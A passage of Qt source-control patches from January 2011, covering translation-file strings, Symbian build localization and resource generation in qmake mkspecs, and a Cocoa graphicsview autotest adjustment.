    -            String content does not match pattern facet.
    -        
    -        
    -            String content is not listed in the enumeration facet.
    -            String content is not listed in the enumeration facet.
    -        
    -        
    -            Signed integer content does not match the maxInclusive facet.
    -            Signed integer content does not match the maxInclusive facet.
    -        
    -        
    -            Signed integer content does not match the maxExclusive facet.
    -            Signed integer content does not match the maxExclusive facet.
    -        
    -        
    -            Signed integer content does not match the minInclusive facet.
    -            Signed integer content does not match the minInclusive facet.
    -        
    -        
    -            Signed integer content does not match the minExclusive facet.
    -            Signed integer content does not match the minExclusive facet.
    -        
    -        
    -            Signed integer content is not listed in the enumeration facet.
    -            Signed integer content is not listed in the enumeration facet.
    -        
    -        
    -            Signed integer content does not match pattern facet.
    -            Signed integer content does not match pattern facet.
    -        
    -        
    -            Signed integer content does not match in the totalDigits facet.
    -            Signed integer content does not match in the totalDigits facet.
    -        
    -        
    -            Unsigned integer content does not match the maxInclusive facet.
    -            Unsigned integer content does not match the maxInclusive facet.
    -        
    -        
    -            Unsigned integer content does not match the maxExclusive facet.
    -            Unsigned integer content does not match the maxExclusive facet.
    -        
    -        
    -            Unsigned integer content does not match the minInclusive facet.
    -            Unsigned integer content does not match the minInclusive facet.
    -        
    -        
    -            Unsigned integer content does not match the minExclusive facet.
    -            Unsigned integer content does not match the minExclusive facet.
    -        
    -        
    -            Unsigned integer content is not listed in the enumeration facet.
    -            Unsigned integer content is not listed in the enumeration facet.
    -        
    -        
    -            Unsigned integer content does not match pattern facet.
    -            Unsigned integer content does not match pattern facet.
    -        
    -        
    -            Unsigned integer content does not match in the totalDigits facet.
    -            Unsigned integer content does not match in the totalDigits facet.
    -        
    -        
    -            Double content does not match the maxInclusive facet.
    -            Double content does not match the maxInclusive facet.
    -        
    -        
    -            Double content does not match the maxExclusive facet.
    -            Double content does not match the maxExclusive facet.
    -        
    -        
    -            Double content does not match the minInclusive facet.
    -            Double content does not match the minInclusive facet.
    -        
    -        
    -            Double content does not match the minExclusive facet.
    -            Double content does not match the minExclusive facet.
    -        
    -        
    -            Double content is not listed in the enumeration facet.
    -            Double content is not listed in the enumeration facet.
    -        
    -        
    -            Double content does not match pattern facet.
    -            Double content does not match pattern facet.
    -        
    -        
    -            Decimal content does not match in the fractionDigits facet.
    -            Decimal content does not match in the fractionDigits facet.
    -        
    -        
    -            Decimal content does not match in the totalDigits facet.
    -            Decimal content does not match in the totalDigits facet.
    -        
    -        
    -            Date time content does not match the maxInclusive facet.
    -            Date time content does not match the maxInclusive facet.
    -        
    -        
    -            Date time content does not match the maxExclusive facet.
    -            Date time content does not match the maxExclusive facet.
    -        
    -        
    -            Date time content does not match the minInclusive facet.
    -            Date time content does not match the minInclusive facet.
    -        
    -        
    -            Date time content does not match the minExclusive facet.
    -            Date time content does not match the minExclusive facet.
    -        
    -        
    -            Date time content is not listed in the enumeration facet.
    -            Date time content is not listed in the enumeration facet.
    -        
    -        
    -            Date time content does not match pattern facet.
    -            Date time content does not match pattern facet.
    -        
    -        
    -            Duration content does not match the maxInclusive facet.
    -            Duration content does not match the maxInclusive facet.
    -        
    -        
    -            Duration content does not match the maxExclusive facet.
    -            Duration content does not match the maxExclusive facet.
    -        
    -        
    -            Duration content does not match the minInclusive facet.
    -            Duration content does not match the minInclusive facet.
    -        
    -        
    -            Duration content does not match the minExclusive facet.
    -            Duration content does not match the minExclusive facet.
    -        
    -        
    -            Duration content is not listed in the enumeration facet.
    -            Duration content is not listed in the enumeration facet.
    -        
    -        
    -            Duration content does not match pattern facet.
    -            Duration content does not match pattern facet.
    -        
    -        
    -            Boolean content does not match pattern facet.
    -            Boolean content does not match pattern facet.
    -        
    -        
    -            Binary content does not match the length facet.
    -            Binary content does not match the length facet.
    -        
    -        
    -            Binary content does not match the minLength facet.
    -            Binary content does not match the minLength facet.
    -        
    -        
    -            Binary content does not match the maxLength facet.
    -            Binary content does not match the maxLength facet.
    -        
    -        
    -            Binary content is not listed in the enumeration facet.
    -            Binary content is not listed in the enumeration facet.
    -        
    -        
    -            Invalid QName content: %1.
    -            Invalid QName content: %1.
    -        
    -        
    -            QName content is not listed in the enumeration facet.
    -            QName content is not listed in the enumeration facet.
    -        
    -        
    -            QName content does not match pattern facet.
    -            QName content does not match pattern facet.
    -        
    -        
    -            Notation content is not listed in the enumeration facet.
    -            Notation content is not listed in the enumeration facet.
    -        
    -        
    -            List content does not match length facet.
    -            List content does not match length facet.
    -        
    -        
    -            List content does not match minLength facet.
    -            List content does not match minLength facet.
    -        
    -        
    -            List content does not match maxLength facet.
    -            List content does not match maxLength facet.
    -        
    -        
    -            List content is not listed in the enumeration facet.
    -            List content is not listed in the enumeration facet.
    -        
    -        
    -            List content does not match pattern facet.
    -            List content does not match pattern facet.
    -        
    -        
    -            Union content is not listed in the enumeration facet.
    -            Union content is not listed in the enumeration facet.
    -        
    -        
    -            Union content does not match pattern facet.
    -            Union content does not match pattern facet.
    -        
    -        
    -            Data of type %1 are not allowed to be empty.
    -            Data of type %1 are not allowed to be empty.
    -        
    -        
    -            Element %1 is missing child element.
    -            Element %1 is missing child element.
    -        
    -        
    -            There is one IDREF value with no corresponding ID: %1.
    -            There is one IDREF value with no corresponding ID: %1.
    -        
    -        
    -            Loaded schema file is invalid.
    -            Loaded schema file is invalid.
    -        
    -        
    -            %1 contains invalid data.
    -            %1 contains invalid data.
    -        
    -        
    -            xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.
    -            xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.
    -        
    -        
    -            xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.
    -            xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.
    -        
    -        
    -            No schema defined for validation.
    -            No schema defined for validation.
    -        
    -        
    -            No definition for element %1 available.
    -            No definition for element %1 available.
    -        
    -        
    -            Specified type %1 is not known to the schema.
    -            Specified type %1 is not known to the schema.
    -        
    -        
    -            Element %1 is not defined in this scope.
    -            Element %1 is not defined in this scope.
    -        
    -        
    -            Declaration for element %1 does not exist.
    -            Declaration for element %1 does not exist.
    -        
    -        
    -            Element %1 contains invalid content.
    -            Element %1 contains invalid content.
    -        
    -        
    -            Element %1 is declared as abstract.
    -            Element %1 is declared as abstract.
    -        
    -        
    -            Element %1 is not nillable.
    -            Element %1 is not nillable.
    -        
    -        
    -            Attribute %1 contains invalid data: %2
    -            Attribute %1 contains invalid data: %2
    -        
    -        
    -            Element contains content although it is nillable.
    -            Element contains content although it is nillable.
    -        
    -        
    -            Fixed value constraint not allowed if element is nillable.
    -            Fixed value constraint not allowed if element is nillable.
    -        
    -        
    -            Element %1 cannot contain other elements, as it has a fixed content.
    -            Element %1 cannot contain other elements, as it has a fixed content.
    -        
    -        
    -            Specified type %1 is not validly substitutable with element type %2.
    -            Specified type %1 is not validly substitutable with element type %2.
    -        
    -        
    -            Complex type %1 is not allowed to be abstract.
    -            Complex type %1 is not allowed to be abstract.
    -        
    -        
    -            Element %1 contains not allowed attributes.
    -            Element %1 contains not allowed attributes.
    -        
    -        
    -            Element %1 contains not allowed child element.
    -            Element %1 contains not allowed child element.
    -        
    -        
    -            Content of element %1 does not match its type definition: %2.
    -            Content of element %1 does not match its type definition: %2.
    -        
    -        
    -            Content of element %1 does not match defined value constraint.
    -            Content of element %1 does not match defined value constraint.
    -        
    -        
    -            Element %1 contains not allowed child content.
    -            Element %1 contains not allowed child content.
    -        
    -        
    -            Element %1 contains not allowed text content.
    -            Element %1 contains not allowed text content.
    -        
    -        
    -            Element %1 is missing required attribute %2.
    -            Element %1 is missing required attribute %2.
    -        
    -        
    -            Attribute %1 does not match the attribute wildcard.
    -            Attribute %1 does not match the attribute wildcard.
    -        
    -        
    -            Declaration for attribute %1 does not exist.
    -            Declaration for attribute %1 does not exist.
    -        
    -        
    -            Element %1 contains two attributes of type %2.
    -            Element %1 contains two attributes of type %2.
    -        
    -        
    -            Attribute %1 contains invalid content.
    -            Attribute %1 contains invalid content.
    -        
    -        
    -            Element %1 contains unknown attribute %2.
    -            Element %1 contains unknown attribute %2.
    -        
    -        
    -            Content of attribute %1 does not match its type definition: %2.
    -            Content of attribute %1 does not match its type definition: %2.
    -        
    -        
    -            Content of attribute %1 does not match defined value constraint.
    -            Content of attribute %1 does not match defined value constraint.
    -        
    -        
    -            Non-unique value found for constraint %1.
    -            Non-unique value found for constraint %1.
    -        
    -        
    -            Key constraint %1 contains absent fields.
    -            Key constraint %1 contains absent fields.
    -        
    -        
    -            Key constraint %1 contains references nillable element %2.
    -            Key constraint %1 contains references nillable element %2.
    -        
    -        
    -            No referenced value found for key reference %1.
    -            No referenced value found for key reference %1.
    -        
    -        
    -            More than one value found for field %1.
    -            More than one value found for field %1.
    -        
    -        
    -            Field %1 has no simple type.
    -            Field %1 has no simple type.
    -        
    -        
    -            ID value '%1' is not unique.
    -            ID value '%1' is not unique.
    -        
    -        
    -            '%1' attribute contains invalid QName content: %2.
    -            '%1' attribute contains invalid QName content: %2.
    -        
    -    
    +
    +    QApplication
    +    
    +        QT_LAYOUT_DIRECTION
    +        Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.
    +        RTL
    +    
    +
     
    -- 
    cgit v0.12
    
    
    From f5a618d86395f35ced1b847581e48994e9196a32 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Thu, 20 Jan 2011 16:39:41 +0100
    Subject: Made the translations dependency work for shadow builds.
    
    RevBy:    Miikka Heikkinen
    ---
     mkspecs/common/symbian/symbian.conf | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf
    index 8c79d8b..0eb1336 100644
    --- a/mkspecs/common/symbian/symbian.conf
    +++ b/mkspecs/common/symbian/symbian.conf
    @@ -240,7 +240,7 @@ defineTest(matchSymbianLanguages) {
             language = $$replace(translation, "^(.*/)?[^/]+_(([^_]{2,3}_)?[^_]{2,3})\\.ts$", \\2)
             contains(SYMBIAN_SUPPORTED_LANGUAGES, $$language) {
                 SYMBIAN_MATCHED_LANGUAGES += $$language
    -            SYMBIAN_MATCHED_TRANSLATIONS += $$translation
    +            SYMBIAN_MATCHED_TRANSLATIONS += $$_PRO_FILE_PWD_/$$translation
             }
         }
     
    -- 
    cgit v0.12
    
    
    From 8ee75222533fd5be30f9f21d609a9595519d5b94 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Thu, 20 Jan 2011 10:41:11 +0100
    Subject: Added Symbian deployment localization for makefile build system.
    
    This is a complement to the 16575f7aef840b6aae0dc767468ab713fbcfd7a6
    commit, which adds localization based on TRANSLATIONS keywords for
    Raptor and abld.
    
    In addition, since the __PRODUCT_INCLUDE__ define was creating a lot
    of trouble regarding < and >, it was refactored into its own source
    file, which is automatically included before every source file.
    
    Task:     QTBUG-15292
    RevBy:    Miikka Heikkinen
    ---
     mkspecs/common/symbian/symbian-makefile.conf  |  12 ++-
     mkspecs/common/symbian/symbianincludes.h      |  17 ++++
     mkspecs/features/symbian/symbian_building.prf | 124 +++++++++++++++++---------
     mkspecs/symbian-armcc/qmake.conf              |   5 +-
     qmake/generators/symbian/symbiancommon.cpp    |   3 +-
     5 files changed, 108 insertions(+), 53 deletions(-)
     create mode 100644 mkspecs/common/symbian/symbianincludes.h
    
    diff --git a/mkspecs/common/symbian/symbian-makefile.conf b/mkspecs/common/symbian/symbian-makefile.conf
    index 9dc3674..b899a2f 100644
    --- a/mkspecs/common/symbian/symbian-makefile.conf
    +++ b/mkspecs/common/symbian/symbian-makefile.conf
    @@ -30,9 +30,15 @@ QMAKE_EXTENSION_STATICLIB = lib
     QMAKE_SYMBIAN_SHLIB   = 1
     
     is_using_gnupoc {
    -    DEFINES *= __PRODUCT_INCLUDE__=\"<$${EPOCROOT}epoc32/include/variant/symbian_os.hrh>\"
    -} else {
    -    DEFINES *= __PRODUCT_INCLUDE__=\"<$${EPOCROOT}epoc32/include/variant/Symbian_OS.hrh>\"
    +    DEFINES *= __QT_PRODUCT_INCLUDE_IS_LOWERCASE__
    +}
    +QMAKE_SYMBIAN_INCLUDES = $$[QT_INSTALL_DATA]/mkspecs/common/symbian/symbianincludes.h
    +symbian-armcc {
    +    QMAKE_CFLAGS += --preinclude $$QMAKE_SYMBIAN_INCLUDES
    +    QMAKE_CXXFLAGS += --preinclude $$QMAKE_SYMBIAN_INCLUDES
    +} else:symbian-gcce {
    +    QMAKE_CFLAGS += -include $$QMAKE_SYMBIAN_INCLUDES
    +    QMAKE_CXXFLAGS += -include $$QMAKE_SYMBIAN_INCLUDES
     }
     DEFINES *= \
         __SYMBIAN32__ \
    diff --git a/mkspecs/common/symbian/symbianincludes.h b/mkspecs/common/symbian/symbianincludes.h
    new file mode 100644
    index 0000000..4c0ffa6
    --- /dev/null
    +++ b/mkspecs/common/symbian/symbianincludes.h
    @@ -0,0 +1,17 @@
    +#ifndef __PRODUCT_INCLUDE__
    +#  ifdef __QT_PRODUCT_INCLUDE_IS_LOWERCASE__
    +#    define __PRODUCT_INCLUDE__ 
    +#  else
    +#    define __PRODUCT_INCLUDE__ 
    +#  endif
    +#endif
    +
    +#ifndef __QT_SYMBIAN_RESOURCE__
    +#  if defined(__ARMCC__) || defined(__CC_ARM)
    +#    ifdef __QT_RVCT_HEADER_IS_2_2__
    +#      include 
    +#    else
    +#      include 
    +#    endif
    +#  endif
    +#endif
    diff --git a/mkspecs/features/symbian/symbian_building.prf b/mkspecs/features/symbian/symbian_building.prf
    index 9288583..8bb92be 100644
    --- a/mkspecs/features/symbian/symbian_building.prf
    +++ b/mkspecs/features/symbian/symbian_building.prf
    @@ -242,6 +242,7 @@ symbian-armcc: {
     symbian_resources_INCLUDES = $$replace(symbian_resources_INCLUDES, ",", " -I")
     symbian_resources_INCLUDES += $$join(INCLUDEPATH, " -I", "-I")
     symbian_resources_DEFINES = $$join(DEFINES, " -D", "-D")
    +symbian_resources_DEFINES += -D__QT_SYMBIAN_RESOURCE__
     symbian_resources_RCC_DIR = $$replace(RCC_DIR, "/$", "")
     symbian_resources_INCLUDES += "-I$$symbian_resources_RCC_DIR"
     
    @@ -256,6 +257,7 @@ for(symbian_resource, SYMBIAN_RESOURCES) {
     symbianresources.input = SYMBIAN_RESOURCES
     symbianresources.output = $$symbian_resources_RCC_DIR/${QMAKE_FILE_BASE}$${QT_LIBINFIX}.rsg
     symbianresources.commands = cpp -nostdinc -undef \
    +                            -include $$QMAKE_SYMBIAN_INCLUDES \
                                 $$symbian_resources_INCLUDES \
                                 $$symbian_resources_DEFINES \
                                 ${QMAKE_FILE_NAME} \
    @@ -271,46 +273,79 @@ symbianresources.CONFIG = no_link target_predeps
     
     QMAKE_EXTRA_COMPILERS += symbianresources
     
    +# This section generates the rsg and rsc files for symbian.
     contains(TEMPLATE, "app"):!contains(CONFIG, "no_icon") {
    -    # Make our own extra target in order to get dependencies for generated
    -    # files right. This also avoids the warning about files not found.
    -    symbianGenResource.target = $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
    -    symbianGenResource.commands = cpp -nostdinc -undef \
    -                                  $$symbian_resources_INCLUDES \
    -                                  $$symbian_resources_DEFINES \
    -                                  $${baseTarget}.rss \
    -                                  > $${symbian_resources_RCC_DIR}/$${baseTarget}.rpp \
    -                                  && rcomp -u -m045,046,047 \
    -                                  -s$${symbian_resources_RCC_DIR}/$${baseTarget}.rpp \
    -                                  -o$${symbianDestdir}/$${baseTarget}.rsc \
    -                                  -h$${symbian_resources_RCC_DIR}/$${baseTarget}.rsg \
    -                                  -i$${baseTarget}.rss
    -    silent:symbianGenResource.commands = @echo rcomp $${baseTarget}.rss && $$symbianGenResource.commands
    -    symbianGenResource.depends = $${baseTarget}.rss
    -    PRE_TARGETDEPS += $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
    -    QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
    -    QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}.rpp
    -    QMAKE_DISTCLEAN += $${baseTarget}.rss
    -    QMAKE_DISTCLEAN += $${symbianDestdir}/$${baseTarget}.rsc
    -
    -    symbianGenRegResource.target = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
    -    symbianGenRegResource.commands = cpp -nostdinc -undef \
    -                                     $$symbian_resources_INCLUDES \
    -                                     $$symbian_resources_DEFINES \
    -                                     $${baseTarget}_reg.rss \
    -                                     > $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp \
    -                                     && rcomp -u -m045,046,047 \
    -                                     -s$${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp \
    -                                     -o$${symbianDestdir}/$${baseTarget}_reg.rsc \
    -                                     -h$${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg \
    -                                     -i$${baseTarget}_reg.rss
    -    silent:symbianGenRegResource.commands = @echo rcomp $${baseTarget}_reg.rss && $$symbianGenRegResource.commands
    -    symbianGenRegResource.depends = $${baseTarget}_reg.rss $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
    -    PRE_TARGETDEPS += $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
    -    QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
    -    QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp
    -    QMAKE_DISTCLEAN += $${baseTarget}_reg.rss
    -    QMAKE_DISTCLEAN += $${symbianDestdir}/$${baseTarget}_reg.rsc
    +    # Look for extra languages for the resources, and then generate a target for each one.
    +    localize_deployment:symbianGenResourceLanguages = $$SYMBIAN_MATCHED_LANGUAGES default
    +    else:symbianGenResourceLanguages = default
    +    for(language, symbianGenResourceLanguages) {
    +        # Special languages get their language number appended to the filename.
    +        contains(language, default) {
    +            symbianGenResource_DEFINES = $$symbian_resources_DEFINES
    +            rpp = $${symbian_resources_RCC_DIR}/$${baseTarget}.rpp
    +            rsc = $${symbianDestdir}/$${baseTarget}.rsc
    +            rsg = $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
    +        } else {
    +            languageNo = $$eval(SYMBIAN_LANG.$$language)
    +            symbianGenResource_DEFINES = $$symbian_resources_DEFINES -DLANGUAGE_$${languageNo}
    +            rpp = $${symbian_resources_RCC_DIR}/$${baseTarget}_$${languageNo}.rpp
    +            rsc = $${symbianDestdir}/$${baseTarget}.r$${languageNo}
    +            rsg = $${symbian_resources_RCC_DIR}/$${baseTarget}_$${languageNo}.rsg
    +        }
    +
    +        # Make our own extra target in order to get dependencies for generated
    +        # files right. This also avoids the warning about files not found.
    +        eval(symbianGenResource_$${language}.target = $$rsg)
    +        eval(symbianGenResource_$${language}.commands = cpp -nostdinc -undef \
    +                                      -include $$QMAKE_SYMBIAN_INCLUDES \
    +                                      $$symbian_resources_INCLUDES \
    +                                      $$symbianGenResource_DEFINES \
    +                                      $${baseTarget}.rss \
    +                                      > $$rpp \
    +                                      && rcomp -u -m045,046,047 \
    +                                      -s$$rpp \
    +                                      -o$$rsc \
    +                                      -h$$rsg \
    +                                      -i$${baseTarget}.rss)
    +        silent:eval(symbianGenResource_$${language}.commands = @echo rcomp $${baseTarget}.rss && $$eval(symbianGenResource_$${language}.commands))
    +        eval(symbianGenResource_$${language}.depends = $${baseTarget}.rss)
    +        PRE_TARGETDEPS += $$rsg
    +        QMAKE_CLEAN += $$rsg $$rpp
    +        QMAKE_DISTCLEAN += $$rsc
    +
    +        QMAKE_EXTRA_TARGETS += symbianGenResource_$${language}
    +
    +        # Note that we depend on the base rsg file, even if dealing with a specific language.
    +        # hence we don't use $$rsg on the next line.
    +        eval(symbianGenRegResource_$${language}.depends = $${baseTarget}_reg.rss $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg)
    +        contains(language, default) {
    +            rpp = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp
    +            rsc = $${symbianDestdir}/$${baseTarget}_reg.rsc
    +            rsg = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
    +        } else {
    +            rpp = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg_$${languageNo}.rpp
    +            rsc = $${symbianDestdir}/$${baseTarget}_reg.r$${languageNo}
    +            rsg = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg_$${languageNo}.rsg
    +        }
    +        eval(symbianGenRegResource_$${language}.target = $$rsg)
    +        eval(symbianGenRegResource_$${language}.commands = cpp -nostdinc -undef \
    +                                         -include $$QMAKE_SYMBIAN_INCLUDES \
    +                                         $$symbian_resources_INCLUDES \
    +                                         $$symbianGenResource_DEFINES \
    +                                         $${baseTarget}_reg.rss \
    +                                         > $$rpp \
    +                                         && rcomp -u -m045,046,047 \
    +                                         -s$$rpp \
    +                                         -o$$rsc \
    +                                         -h$$rsg \
    +                                         -i$${baseTarget}_reg.rss)
    +        silent:eval(symbianGenRegResource_$${language}.commands = @echo rcomp $${baseTarget}_reg.rss && $$eval(symbianGenRegResource_$${language}.commands))
    +        PRE_TARGETDEPS += $$rsg
    +        QMAKE_CLEAN += $$rsg $$rpp
    +        QMAKE_DISTCLEAN += $$rsc
    +
    +        QMAKE_EXTRA_TARGETS += symbianGenRegResource_$${language}
    +    }
     
         # Trick to get qmake to create the RCC_DIR for us.
         symbianRccDirCreation.input = SOURCES
    @@ -318,14 +353,15 @@ contains(TEMPLATE, "app"):!contains(CONFIG, "no_icon") {
         symbianRccDirCreation.output = $${symbian_resources_RCC_DIR}/symbian_resource_dummy
         symbianRccDirCreation.CONFIG = no_link combine
     
    -    QMAKE_EXTRA_TARGETS += symbianGenResource symbianGenRegResource
         QMAKE_EXTRA_COMPILERS += symbianRccDirCreation
     
    -    QMAKE_DISTCLEAN += $${baseTarget}.loc
    +    QMAKE_DISTCLEAN += $${baseTarget}.rss \
    +                       $${baseTarget}_reg.rss \
    +                       $${baseTarget}.loc
     }
     
     # Generated pkg files
     
    -QMAKE_DISTCLEAN += $${baseTarget}_template.pkg
    -QMAKE_DISTCLEAN += $${baseTarget}_installer.pkg
    -QMAKE_DISTCLEAN += $${baseTarget}_stub.pkg
    +QMAKE_DISTCLEAN += $${baseTarget}_template.pkg \
    +                   $${baseTarget}_installer.pkg \
    +                   $${baseTarget}_stub.pkg
    diff --git a/mkspecs/symbian-armcc/qmake.conf b/mkspecs/symbian-armcc/qmake.conf
    index be6af39..77a1966 100644
    --- a/mkspecs/symbian-armcc/qmake.conf
    +++ b/mkspecs/symbian-armcc/qmake.conf
    @@ -53,10 +53,7 @@ INCLUDEPATH = $${EPOCROOT}epoc32/include \
     
     exists($${EPOCROOT}epoc32/include/rvct2_2) {
         INCLUDEPATH += $${EPOCROOT}epoc32/include/rvct2_2
    -    QMAKE_CFLAGS += --preinclude rvct2_2.h
    -    QMAKE_CXXFLAGS += --preinclude rvct2_2.h
    +    DEFINES *= __QT_RVCT_HEADER_IS_2_2__
     } else {
         INCLUDEPATH += $${EPOCROOT}epoc32/include/rvct
    -    QMAKE_CFLAGS += --preinclude rvct.h
    -    QMAKE_CXXFLAGS += --preinclude rvct.h
     }
    diff --git a/qmake/generators/symbian/symbiancommon.cpp b/qmake/generators/symbian/symbiancommon.cpp
    index 8747f5a..4943a74 100644
    --- a/qmake/generators/symbian/symbiancommon.cpp
    +++ b/qmake/generators/symbian/symbiancommon.cpp
    @@ -405,8 +405,7 @@ void SymbianCommonGenerator::generatePkgFile(const QString &iconFile,
             t << manufacturerStr << endl;
         }
     
    -    // ### FIXME: remove epocBuild check once makefile based mkspecs support localized resource generation
    -    if (epocBuild && symbianLocalizationList.size()) {
    +    if (symbianLocalizationList.size()) {
             // Add localized resources to DEPLOYMENT if default resource deployment is done
             addLocalizedResourcesToDeployment("default_resource_deployment.files", symbianLocalizationList);
             addLocalizedResourcesToDeployment("default_reg_deployment.files", symbianLocalizationList);
    -- 
    cgit v0.12
    
    
    From bfed75ec958bcea206ba086395f1e2fa4bbcd76f Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Thu, 27 Jan 2011 14:33:05 +0100
    Subject: Cocoa: fix autotest, qgraphicsview::moveItemWhileScrolling
    MIME-Version: 1.0
    Content-Type: text/plain; charset=UTF-8
    Content-Transfer-Encoding: 8bit
    
    This test reveals a real bug when updating and scrolling
    at the same time in graphicsview. The problem is that the scroll
    will issue an update to cocoa that gets handled before already
    queued Qt events. This means that the viewport of graphicsview
    will receive a paintevent, and clear dirtyScrollOffset, before
    the posted call to _q_processDirtyItems is executed. This means
    that we 'loose' the scrolling information upon painting.
    
    I discussed this problem with Bjørn Erik, and he had strong opinions
    about this promblem not worthwhile fixing. The raster engine is
    anyway about to be default on Mac, and there the problem will not exist.
    ---
     tests/auto/qgraphicsview/tst_qgraphicsview.cpp | 4 ++++
     1 file changed, 4 insertions(+)
    
    diff --git a/tests/auto/qgraphicsview/tst_qgraphicsview.cpp b/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
    index cf697bb..aaff51e 100644
    --- a/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
    +++ b/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
    @@ -3357,6 +3357,10 @@ void tst_QGraphicsView::moveItemWhileScrolling()
         int a = adjustForAntialiasing ? 2 : 1;
         expectedRegion += QRect(40, 50, 10, 10).adjusted(-a, -a, a, a);
         expectedRegion += QRect(40, 60, 10, 10).adjusted(-a, -a, a, a);
    +#ifdef QT_MAC_USE_COCOA
    +    if (QApplicationPrivate::graphicsSystem() == 0)
    +        QEXPECT_FAIL("", "This will fail with Cocoa because paint events are not send in the order expected by graphicsview", Continue);
    +#endif
         COMPARE_REGIONS(view.lastPaintedRegion, expectedRegion);
     }
     
    -- 
    cgit v0.12
    
    
    From 4ec245a3e75470186557d00b2383af3872a720b0 Mon Sep 17 00:00:00 2001
    From: Miikka Heikkinen 
    Date: Thu, 27 Jan 2011 12:40:33 +0200
    Subject: No longer replace dash and dot in TARGET with underscore in Symbian
    
    There is no fundamental reason to not have dash or dot in binary names
    in Symbian, so do not replace them with underscore.
    
    One thing that doesn't work with a dot in the filename is launching
    an application via resources, so automatic resource generation is
    suppressed for applications that have a dot in filename portion of
    the TARGET value.
    
    Task-number: QTBUG-16888
    Reviewed-by: axis
    ---
     mkspecs/common/symbian/symbian.conf           |   9 +--
     mkspecs/features/symbian/application_icon.prf | 106 ++++++++++++++------------
     qmake/generators/symbian/symbiancommon.cpp    |  23 ++----
     qmake/generators/symbian/symbiancommon.h      |   1 -
     qmake/generators/symbian/symmake.cpp          |  31 ++++++--
     5 files changed, 89 insertions(+), 81 deletions(-)
    
    diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf
    index 5619d4f..0bb3a29 100644
    --- a/mkspecs/common/symbian/symbian.conf
    +++ b/mkspecs/common/symbian/symbian.conf
    @@ -215,19 +215,14 @@ default_deployment.pkg_prerules += pkg_depends_webkit pkg_depends_qt pkg_platfor
     DEPLOYMENT += default_deployment default_bin_deployment default_resource_deployment default_reg_deployment
     
     defineReplace(symbianRemoveSpecialCharacters) {
    -    # Produce identical string to what SymbianCommonGenerator::removeSpecialCharacters and
    -    # SymbianCommonGenerator::removeEpocSpecialCharacters produce
    +    # Produce identical string to what SymbianCommonGenerator::removeSpecialCharacters
     
         fixedStr = $$1
     
         fixedStr = $$replace(fixedStr, /,_)
         fixedStr = $$replace(fixedStr, \\\\,_)
         fixedStr = $$replace(fixedStr, " ",_)
    -    symbian-abld|symbian-sbsv2 {
    -        fixedStr = $$replace(fixedStr, -,_)
    -        fixedStr = $$replace(fixedStr, \\.,_)
    -        fixedStr = $$replace(fixedStr, :,_)
    -    }
    +    fixedStr = $$replace(fixedStr, :,_)
     
         return ($$fixedStr)
     }
    diff --git a/mkspecs/features/symbian/application_icon.prf b/mkspecs/features/symbian/application_icon.prf
    index 6e1aa8e..b6be89b 100644
    --- a/mkspecs/features/symbian/application_icon.prf
    +++ b/mkspecs/features/symbian/application_icon.prf
    @@ -11,68 +11,74 @@ contains(CONFIG, no_icon) {
     
     !contains(CONFIG, no_icon) {
         baseTarget = $$symbianRemoveSpecialCharacters($$basename(TARGET))
    -    symbian-abld|symbian-sbsv2 {
    -        resourceZDir = $$EPOCROOT$$HW_ZDIR$$APP_RESOURCE_DIR
    -        regZDir = $$EPOCROOT$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR
    +    contains(baseTarget, "^.*\\..*$") {
    +        CONFIG += no_icon
    +        ICON =
    +        warning("Symbian resources do not support '.' character in TARGET, skipping resource generation.")
         } else {
    -        contains(DESTDIR, "/.*") {
    -            resourceZDir = $$DESTDIR
    -        } else:isEmpty(DESTDIR) {
    -            resourceZDir = $$OUT_PWD
    +        symbian-abld|symbian-sbsv2 {
    +            resourceZDir = $$EPOCROOT$$HW_ZDIR$$APP_RESOURCE_DIR
    +            regZDir = $$EPOCROOT$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR
             } else {
    -            resourceZDir = $$OUT_PWD/$$DESTDIR
    +            contains(DESTDIR, "/.*") {
    +                resourceZDir = $$DESTDIR
    +            } else:isEmpty(DESTDIR) {
    +                resourceZDir = $$OUT_PWD
    +            } else {
    +                resourceZDir = $$OUT_PWD/$$DESTDIR
    +            }
    +            regZDir = $$resourceZDir
             }
    -        regZDir = $$resourceZDir
    -    }
     
    -    default_resource_deployment.sources += $$resourceZDir/$${baseTarget}.rsc
    -    default_resource_deployment.path = $$APP_RESOURCE_DIR
    -    default_reg_deployment.sources += $$regZDir/$${baseTarget}_reg.rsc
    -    default_reg_deployment.path = $$REG_RESOURCE_IMPORT_DIR
    +        default_resource_deployment.sources += $$resourceZDir/$${baseTarget}.rsc
